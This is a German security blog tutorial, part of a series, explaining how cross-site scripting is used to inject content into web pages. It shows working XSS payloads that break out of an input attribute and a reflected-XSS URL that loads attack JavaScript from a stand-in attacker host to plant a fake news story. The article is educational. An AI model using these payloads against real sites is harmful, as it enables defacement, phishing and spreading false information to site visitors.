XSS-Angriffe, Teil 1: Informationen einschleusen
Nach der Vorstellung der verschiedenen Möglichkeiten, XSS-Schadcode in Webanwendungen einzuschleusen, geht es ab dieser Folge um die Angriffe, die über XSS möglich sind.
Das klassische Beispiel: Wir öffnen eine Alertbox (Gähn!!!)
Das klassische Beispiel für einen XSS-Angriff ist das Öffnen einer Alertbox. Allgemein erledigt dass das folgende script-Tag:
<script>alert("XSS!");</script>
Allerdings reicht es nicht, diese Zeile als Wert des für XSS anfälligen Parameters an die Webanwendung zu übergeben. Oft wird das zwar funktionieren, in vielen Fällen liegt dass aber nur daran, dass die Browser bei der Ausführung von JavaScript mehr als ein Auge zudrücken.
Der eingeschleuste Schadcode muss nämlich an den jeweiligen Ausgabeort angepasst werden. Das script-Tag funktioniert so nur, wenn es an einer Stelle ausgegeben wird, an der auch ein script-Tag stehen darf. Oft wird der Parameter in einem bestimmten Kontext ausgegeben, zum Beispiel als Teil eines Formulars. Das könnte zum Beispiel so aussehen:
<form action="skript.php">
<label for="vorname">Vorname</label>
<input type="text" id="vorname" maxlength="30" value="[Wert des XSS-Parameters vorname]">
<label for="nachname">Nachname</label>
<input type="text" id="nachname" maxlength="40" value="[Wert des XSS-Parameters nachname]">
<button type="reset">Eingaben zurücksetzen</button>
<button type="submit">Eingaben absenden</button>
</form>
Das script-Tag hätte laut HTML-Standards an der Stelle, an der die Webanwendung es einfügen würde, nichts zu suchen:
<form action="skript.php">
<label for="vorname">Vorname</label>
<input type="text" id="vorname" maxlength="30" value="<script>alert("XSS!");</script>">
<label for="nachname">Nachname</label>
<input type="text" id="nachname" maxlength="40" value="[Wert des XSS-Parameters nachname]">
<button type="reset">Eingaben zurücksetzen</button>
<button type="submit">Eingaben absenden</button>
</form>
Das script-Tag muss also um die nötigen Zeichen zum Schließen des vorhandenen input-Tags ergänzt werden:
nix"><script>alert("XSS!");</script>
Damit ergibt sich
<form action="skript.php">
<label for="vorname">Vorname</label>
<input type="text" id="vorname" maxlength="30" value="nix"><script>alert("XSS!");</script>">
<label for="nachname">Nachname</label>
<input type="text" id="nachname" maxlength="40" value="[Wert des XSS-Parameters nachname]">
<button type="reset">Eingaben zurücksetzen</button>
<button type="submit">Eingaben absenden</button>
</form>
Das Ergebnis ist zwar immer noch kein korrektes HTML, aber wenigstens tritt der Fehler erst nach dem eingeschleusten script-Tag auf und das wird deshalb vom Browser auf jeden Fall noch ausgeführt. Die Alertbox öffnet sich, und damit hat der Angreifer sein Ziel erreicht.
Bei Bedarf kann das, was auf den eingeschleusten Code folgt, auch
auskommentiert werden. Dazu muss der eingeschleuste Code nur mit den
Zeichen für den Beginn eines Kommentar, <!--
,
abgeschlossen werden.
Mit mehr oder weniger Aufwand kann aber eigentlich an fast jeder Stelle in der ausgegebenen HTML-Seite eingeschleuster Code zur Ausführung gebracht werden. Das Öffnen einer Alertbox ist ein guter Test, um zu prüfen, ob der Code wirklich ausgeführt wird. Ein tatsächlicher Angreifer würde aber andere Befehle einschleusen, zum Beispiel zur Anzeige gefälschter Informationen.
Der Klassiker: Inhalte einschleusen
Ein klassischer Angriff über XSS ist das Einschleusen "falscher" Inhalte. Das können zum Beispiel falsche Nachrichten sein, Phishing-Angriffe oder auch der Code für Drive-by-Infektionen (wofür aber meist andere Schwachstellen ausgenutzt werden).
Nehmen wir mal an, eine Webanwendung enthält eine reflektierte XSS-Schwachstelle in der Suchfunktion. Da die URL-Länge begrenzt ist, lässt sich darüber nur ein relativ kurzer Text einschleusen. Einfacher ist es daher meist, über die XSS-Schwachstelle nur ein script-Tag zum Laden einer JavaScript-Datei mit dem eigentlichen Angriffscode zu laden. Das könnte zum Beispiel so aussehen:
http://www.server.example/anwendung.php?suche=nix"><script src=http://www.angreifer.example/angriff.js></script><!--
Die Sonderzeichen wie < und > müssten noch hexadezimal oder URL-kodiert werden, so dass sie unverfälscht das Ziel erreichen. Darauf verzichte ich hier der Lesbarkeit wegen.
Die JavaScript-Datei mit den einzufügenden Informationen
www.angreifer.example/angriff.js
könnte zum Beispiel
so aussehen:
document.write('<p align=left>Donnerstag, 16. April 2015</p>');
document.write('<p align=center><b>Apple stellt iCar vor!</b></p>');
document.write('<p><b>Insider: "Dieses Auto wird den Individualverkehr
revolutionieren!"</b></p>');
document.write('<p>Heute Vormittag um 10:00 Uhr (Ortszeit Cappuccino)
wird Apple das neue iCar der Presse präsentieren.</p>');
document.write('<p>Das revolutionäre Konzept verbindet eine kurze
Akkulaufzeit mit einer langen Leitung und geringer Geschwindigkeit,
um eine lange Fahrzeit des neuen Elektromobils zu erreichen. Die
Steuerung erfolgt über eine App für das separat zu erwerbende iPhone
6.</p>');
document.write('<p>In Deutschland wird das iCar vorerst nicht zu erwerben
sein, da der Fahrer es auf Grund des geltenden Handy-Verbots am Steuer
nicht bedienen darf. Die Bundesregierung hat aber bereits eine Anpassung
des Gesetzes in Aussicht gestellt, so dass die Nutzung eines Smartphones
zur Steuerung des Fahrzeugs zulässig ist.</p>');
document.write('<p>Ein Sprecher der Bundesregierung begründete dies damit,
dass das Handy-Verbot ja am Steuer gelte, das iCar aber gar kein Lenkrad
habe. <cite>"Wenn das Handy das Lenkrad ersetzt, darf es auch nach der
aktuellen Rechtslage natürlich während der Fahrt benutzt werden."</cite>
Unklar ist allerdings, ob das auch für Beschleunigen und Abbremsen gilt.
Daher soll das geänderte Gesetz in diesen Punkten für eine Klarstellung
sorgen.</p>');
Diese Datei würde den folgenden Text in die Webseite einfügen:
Donnerstag, 16. April 2015
Apple stellt iCar vor!
Insider: "Dieses Auto wird den Individualverkehr revolutionieren!"
Heute Vormittag um 10:00 Uhr (Ortszeit Cappuccino) wird Apple das neue iCar der Presse präsentieren.
Das revolutionäre Konzept verbindet eine kurze Akkulaufzeit mit einer langen Leitung und geringer Geschwindigkeit, um eine lange Fahrzeit des neuen Elektromobils zu erreichen. Die Steuerung erfolgt über eine App für das separat zu erwerbende iPhone 6.
In Deutschland wird das iCar vorerst nicht zu erwerben sein, da der Fahrer es auf Grund des geltenden Handy-Verbots am Steuer nicht bedienen darf. Die Bundesregierung hat aber bereits eine Anpassung des Gesetzes in Aussicht gestellt, so dass die Nutzung eines Smartphones zur Steuerung des Fahrzeugs zulässig ist.
Ein Sprecher der Bundesregierung begründete dies damit, dass das Handy-Verbot ja am Steuer gelte, das iCar aber gar kein Lenkrad habe. "Wenn das Handy das Lenkrad ersetzt, darf es auch nach der aktuellen Rechtslage natürlich während der Fahrt benutzt werden." Unklar ist allerdings, ob das auch für Beschleunigen und Abbremsen gilt. Daher soll das geänderte Gesetz in diesen Punkten für eine Klarstellung sorgen.
Die Verabschiedung des angepassten Gesetzes ist schon für die nächste Woche geplant. Informierte Kreise berichten, dass Apple der Bundesregierung einige iCars auf unbefristete Zeit zu Probezwecken zur Verfügung gestellt hat und viele Regierungsmitglieder bereits darauf brennen, die Fahrzeug ausgiebig zu testen. Gerüchte, dass dies die Veröffentlichung des geänderten Handy-Verbots beschleunigt haben soll, wurden von Sprechern der zuständigen Ministerien energisch bestritten. "Das sind keine Gerüchte. Wer das behauptet, lügt!" ...
Je nach Seriosität der angegriffenen Website könne so eine gefälschte Nachricht durchaus für Verwirrung sorgen. Oder noch schlimmere Folgen haben.
Schon das Einfügen von Inhalten in eine Webseite kann also für Schaden sorgen. Zum Beispiel, indem gefälschte Informationen zur Manipulation von Aktienkursen genutzt werden. Oder indem ein Phishing-Angriff in die Website eingeschlesut wird, deren Zugangsdaten abgephisht werden sollen. Oder indem eine Drive-by-Infektion über eine persistente XSS-Schwachstelle auf einer vertrauenswürdigen Website verbreitet wird.
In der nächsten Folge geht es um gefährlichere Angriffe. Zum Beispiel des Ausspähen von Cookies.
Übersicht über alle Artikel zum Thema
- Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS
- Cross-Site Scripting im Überblick, Teil 2: Persistentes XSS
- Cross-Site Scripting im Überblick, Teil 3: Der MySpace-Wurm Samy
- Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy
- Cross-Site Scripting im Überblick, Teil 4: DOM-basiertes XSS
- Cross-Site Scripting im Überblick, Teil 5: Resident XSS
- XSS-Angriffe, Teil 1: Informationen einschleusen
- XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen
- XSS-Angriffe, Teil 3: Zugangsdaten ausspähen
- XSS-Angriffe, Teil 4: Ein Blick in die History, und dann auf ins LAN!
- XSS-Angriffe, Teil 5: Ein Portscan (nicht nur) im LAN
- XSS-Angriffe, Teil 6: Ein verbesserter Portscanner
- XSS-Angriffe, Teil 7: Hindernisse beim JavaScript-Portscan beseitigen
- XSS-Angriffe, Teil 8: Ein Portscan mit WebSockets oder Cross-Origin Requests
- XSS-Angriffe, Teil 9: Der Router im Visier
- XSS-Angriffe, Teil 10: Weitere Angriffe auf den Router
- XSS-Angriffe, Teil 11: Unerwünschtes Firmware-Update für den Router
- XSS-Angriffe, Teil 12: Browser-basierte Botnets
- XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe
- XSS-Angriffe, Teil 14: Das Browser Exploitation Framework BeEF
Trackbacks
Dipl.-Inform. Carsten Eilers am : Die IoT Top 10, #1: Unsichere Weboberflächen, Teil 5
Vorschau anzeigen